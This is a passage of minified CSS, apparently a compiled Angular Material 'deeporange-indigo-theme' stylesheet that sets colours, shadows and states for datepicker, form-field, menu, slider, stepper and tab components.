[dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(230,74,25,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeporange-indigo-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeporange-indigo-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeporange-indigo-theme .mat-calendar-body-selected{background-color:#e64a19;color:#fff}.deeporange-indigo-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#e64a1966}.deeporange-indigo-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeporange-indigo-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeporange-indigo-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#e64a194d}@media (hover: hover){.deeporange-indigo-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#e64a194d}}.deeporange-indigo-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#fff;color:#000000de}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(26,35,126,.2)}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.deeporange-indigo-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(26,35,126,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.deeporange-indigo-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(26,35,126,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#1a237e;color:#fff}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#1a237e66}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeporange-indigo-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#1a237e4d}@media (hover: hover){.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#1a237e4d}}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.deeporange-indigo-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.deeporange-indigo-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeporange-indigo-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.deeporange-indigo-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.deeporange-indigo-theme .mat-datepicker-toggle-active{color:#e64a19}.deeporange-indigo-theme .mat-datepicker-toggle-active.mat-accent{color:#1a237e}.deeporange-indigo-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.deeporange-indigo-theme .mat-date-range-input-inner[disabled]{color:#00000061}.deeporange-indigo-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:white;color:#000000de}.deeporange-indigo-theme .mat-divider{border-top-color:#0000001f}.deeporange-indigo-theme .mat-divider-vertical{border-right-color:#0000001f}.deeporange-indigo-theme .mat-expansion-panel{background:white;color:#000000de}.deeporange-indigo-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeporange-indigo-theme .mat-action-row{border-top-color:#0000001f}.deeporange-indigo-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.deeporange-indigo-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.deeporange-indigo-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}@media (hover: none){.deeporange-indigo-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:white}}.deeporange-indigo-theme .mat-expansion-panel-header-title{color:#000000de}.deeporange-indigo-theme .mat-expansion-panel-header-description,.deeporange-indigo-theme .mat-expansion-indicator:after{color:#0000008a}.deeporange-indigo-theme .mat-expansion-panel-header[aria-disabled=true]{color:#00000042}.deeporange-indigo-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.deeporange-indigo-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.deeporange-indigo-theme .mat-form-field-label,.deeporange-indigo-theme .mat-hint{color:#0009}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-label{color:#e64a19}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#1a237e}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.deeporange-indigo-theme .mat-focused .mat-form-field-required-marker{color:#1a237e}.deeporange-indigo-theme .mat-form-field-ripple{background-color:#000000de}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#e64a19}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#1a237e}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#e64a19}.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#1a237e}.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.deeporange-indigo-theme .mat-error{color:#f44336}.deeporange-indigo-theme .mat-form-field-appearance-legacy .mat-form-field-label,.deeporange-indigo-theme .mat-form-field-appearance-legacy .mat-hint{color:#0000008a}.deeporange-indigo-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#0000006b}.deeporange-indigo-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.deeporange-indigo-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#0000006b}.deeporange-indigo-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.deeporange-indigo-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#0000000a}.deeporange-indigo-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#00000005}.deeporange-indigo-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#0000006b}.deeporange-indigo-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#00000061}.deeporange-indigo-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.deeporange-indigo-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#0000001f}.deeporange-indigo-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#000000de}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#e64a19}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#1a237e}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#00000061}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#0000000f}.deeporange-indigo-theme .mat-icon.mat-primary{color:#e64a19}.deeporange-indigo-theme .mat-icon.mat-accent{color:#1a237e}.deeporange-indigo-theme .mat-icon.mat-warn{color:#f44336}.deeporange-indigo-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#0000008a}.deeporange-indigo-theme .mat-input-element:disabled,.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#00000061}.deeporange-indigo-theme .mat-input-element{caret-color:#e64a19}.deeporange-indigo-theme .mat-input-element::placeholder{color:#0000006b}.deeporange-indigo-theme .mat-input-element::-moz-placeholder{color:#0000006b}.deeporange-indigo-theme .mat-input-element::-webkit-input-placeholder{color:#0000006b}.deeporange-indigo-theme .mat-input-element:-ms-input-placeholder{color:#0000006b}.deeporange-indigo-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#1a237e}.deeporange-indigo-theme .mat-form-field.mat-warn .mat-input-element,.deeporange-indigo-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.deeporange-indigo-theme .mat-list-base .mat-list-item,.deeporange-indigo-theme .mat-list-base .mat-list-option{color:#000000de}.deeporange-indigo-theme .mat-list-base .mat-subheader{color:#0000008a}.deeporange-indigo-theme .mat-list-base .mat-list-item-disabled{background-color:#eee;color:#00000061}.deeporange-indigo-theme .mat-list-option:hover,.deeporange-indigo-theme .mat-list-option:focus,.deeporange-indigo-theme .mat-nav-list .mat-list-item:hover,.deeporange-indigo-theme .mat-nav-list .mat-list-item:focus,.deeporange-indigo-theme .mat-action-list .mat-list-item:hover,.deeporange-indigo-theme .mat-action-list .mat-list-item:focus{background:rgba(0,0,0,.04)}.deeporange-indigo-theme .mat-list-single-selected-option,.deeporange-indigo-theme .mat-list-single-selected-option:hover,.deeporange-indigo-theme .mat-list-single-selected-option:focus{background:rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-menu-panel{background:white}.deeporange-indigo-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeporange-indigo-theme .mat-menu-item{background:transparent;color:#000000de}.deeporange-indigo-theme .mat-menu-item[disabled],.deeporange-indigo-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.deeporange-indigo-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#00000061}.deeporange-indigo-theme .mat-menu-item .mat-icon-no-color,.deeporange-indigo-theme .mat-menu-submenu-icon{color:#0000008a}.deeporange-indigo-theme .mat-menu-item:hover:not([disabled]),.deeporange-indigo-theme .mat-menu-item.cdk-program-focused:not([disabled]),.deeporange-indigo-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.deeporange-indigo-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(0,0,0,.04)}.deeporange-indigo-theme .mat-paginator{background:white}.deeporange-indigo-theme .mat-paginator,.deeporange-indigo-theme .mat-paginator-page-size .mat-select-trigger{color:#0000008a}.deeporange-indigo-theme .mat-paginator-decrement,.deeporange-indigo-theme .mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}.deeporange-indigo-theme .mat-paginator-first,.deeporange-indigo-theme .mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}.deeporange-indigo-theme .mat-icon-button[disabled] .mat-paginator-decrement,.deeporange-indigo-theme .mat-icon-button[disabled] .mat-paginator-increment,.deeporange-indigo-theme .mat-icon-button[disabled] .mat-paginator-first,.deeporange-indigo-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#00000061}.deeporange-indigo-theme .mat-progress-bar-background{fill:#f5cec2}.deeporange-indigo-theme .mat-progress-bar-buffer{background-color:#f5cec2}.deeporange-indigo-theme .mat-progress-bar-fill:after{background-color:#e64a19}.deeporange-indigo-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#c2c4db}.deeporange-indigo-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#c2c4db}.deeporange-indigo-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#1a237e}.deeporange-indigo-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#f9ccc9}.deeporange-indigo-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#f9ccc9}.deeporange-indigo-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.deeporange-indigo-theme .mat-progress-spinner circle,.deeporange-indigo-theme .mat-spinner circle{stroke:#e64a19}.deeporange-indigo-theme .mat-progress-spinner.mat-accent circle,.deeporange-indigo-theme .mat-spinner.mat-accent circle{stroke:#1a237e}.deeporange-indigo-theme .mat-progress-spinner.mat-warn circle,.deeporange-indigo-theme .mat-spinner.mat-warn circle{stroke:#f44336}.deeporange-indigo-theme .mat-radio-outer-circle{border-color:#0000008a}.deeporange-indigo-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#e64a19}.deeporange-indigo-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.deeporange-indigo-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeporange-indigo-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.deeporange-indigo-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#e64a19}.deeporange-indigo-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#1a237e}.deeporange-indigo-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.deeporange-indigo-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeporange-indigo-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.deeporange-indigo-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#1a237e}.deeporange-indigo-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.deeporange-indigo-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.deeporange-indigo-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeporange-indigo-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.deeporange-indigo-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#00000061}.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#00000061}.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#00000061}.deeporange-indigo-theme .mat-radio-button .mat-ripple-element{background-color:#000}.deeporange-indigo-theme .mat-select-value{color:#000000de}.deeporange-indigo-theme .mat-select-placeholder{color:#0000006b}.deeporange-indigo-theme .mat-select-disabled .mat-select-value{color:#00000061}.deeporange-indigo-theme .mat-select-arrow{color:#0000008a}.deeporange-indigo-theme .mat-select-panel{background:white}.deeporange-indigo-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeporange-indigo-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#e64a19}.deeporange-indigo-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#1a237e}.deeporange-indigo-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.deeporange-indigo-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.deeporange-indigo-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#00000061}.deeporange-indigo-theme .mat-drawer-container{background-color:#fafafa;color:#000000de}.deeporange-indigo-theme .mat-drawer{background-color:#fff;color:#000000de}.deeporange-indigo-theme .mat-drawer.mat-drawer-push{background-color:#fff}.deeporange-indigo-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.deeporange-indigo-theme .mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-drawer-side.mat-drawer-end,.deeporange-indigo-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}.deeporange-indigo-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#0009}.deeporange-indigo-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#1a237e}.deeporange-indigo-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#1a237e8a}.deeporange-indigo-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#1a237e}.deeporange-indigo-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#e64a19}.deeporange-indigo-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#e64a198a}.deeporange-indigo-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#e64a19}.deeporange-indigo-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.deeporange-indigo-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.deeporange-indigo-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.deeporange-indigo-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}.deeporange-indigo-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#fafafa}.deeporange-indigo-theme .mat-slide-toggle-bar{background-color:#00000061}.deeporange-indigo-theme .mat-slider-track-background{background-color:#00000042}.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-track-fill,.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#e64a19}.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#e64a1933}.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-track-fill,.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#1a237e}.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#fff}.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#1a237e33}.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-track-fill,.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.deeporange-indigo-theme .mat-slider:hover .mat-slider-track-background,.deeporange-indigo-theme .mat-slider.cdk-focused .mat-slider-track-background{background-color:#00000061}.deeporange-indigo-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.deeporange-indigo-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.deeporange-indigo-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#00000042}.deeporange-indigo-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#0000001f}.deeporange-indigo-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#000000de}.deeporange-indigo-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#00000042}.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#00000042;background-color:transparent}.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#00000061}.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#00000042}.deeporange-indigo-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#000000b3}.deeporange-indigo-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.deeporange-indigo-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.deeporange-indigo-theme .mat-step-header.cdk-keyboard-focused,.deeporange-indigo-theme .mat-step-header.cdk-program-focused,.deeporange-indigo-theme .mat-step-header:hover:not([aria-disabled]),.deeporange-indigo-theme .mat-step-header:hover[aria-disabled=false]{background-color:#0000000a}.deeporange-indigo-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.deeporange-indigo-theme .mat-step-header:hover{background:none}}.deeporange-indigo-theme .mat-step-header .mat-step-label,.deeporange-indigo-theme .mat-step-header .mat-step-optional{color:#0000008a}.deeporange-indigo-theme .mat-step-header .mat-step-icon{background-color:#0000008a;color:#fff}.deeporange-indigo-theme .mat-step-header .mat-step-icon-selected,.deeporange-indigo-theme .mat-step-header .mat-step-icon-state-done,.deeporange-indigo-theme .mat-step-header .mat-step-icon-state-edit{background-color:#e64a19;color:#fff}.deeporange-indigo-theme .mat-step-header.mat-accent .mat-step-icon{color:#fff}.deeporange-indigo-theme .mat-step-header.mat-accent .mat-step-icon-selected,.deeporange-indigo-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.deeporange-indigo-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#1a237e;color:#fff}.deeporange-indigo-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.deeporange-indigo-theme .mat-step-header.mat-warn .mat-step-icon-selected,.deeporange-indigo-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.deeporange-indigo-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.deeporange-indigo-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.deeporange-indigo-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#000000de}.deeporange-indigo-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.deeporange-indigo-theme .mat-stepper-horizontal,.deeporange-indigo-theme .mat-stepper-vertical{background-color:#fff}.deeporange-indigo-theme .mat-stepper-vertical-line:before{border-left-color:#0000001f}.deeporange-indigo-theme .mat-horizontal-stepper-header:before,.deeporange-indigo-theme .mat-horizontal-stepper-header:after,.deeporange-indigo-theme .mat-stepper-horizontal-line{border-top-color:#0000001f}.deeporange-indigo-theme .mat-sort-header-arrow{color:#757575}.deeporange-indigo-theme .mat-tab-nav-bar,.deeporange-indigo-theme .mat-tab-header{border-bottom:1px solid rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.deeporange-indigo-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}.deeporange-indigo-theme .mat-tab-label,.deeporange-indigo-theme .mat-tab-link{color:#000000de}.deeporange-indigo-theme .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-link.mat-tab-disabled{color:#00000061}.deeporange-indigo-theme .mat-tab-header-pagination-chevron{border-color:#000000de}.deeporange-indigo-theme .mat-tab-header-pagination-disabled 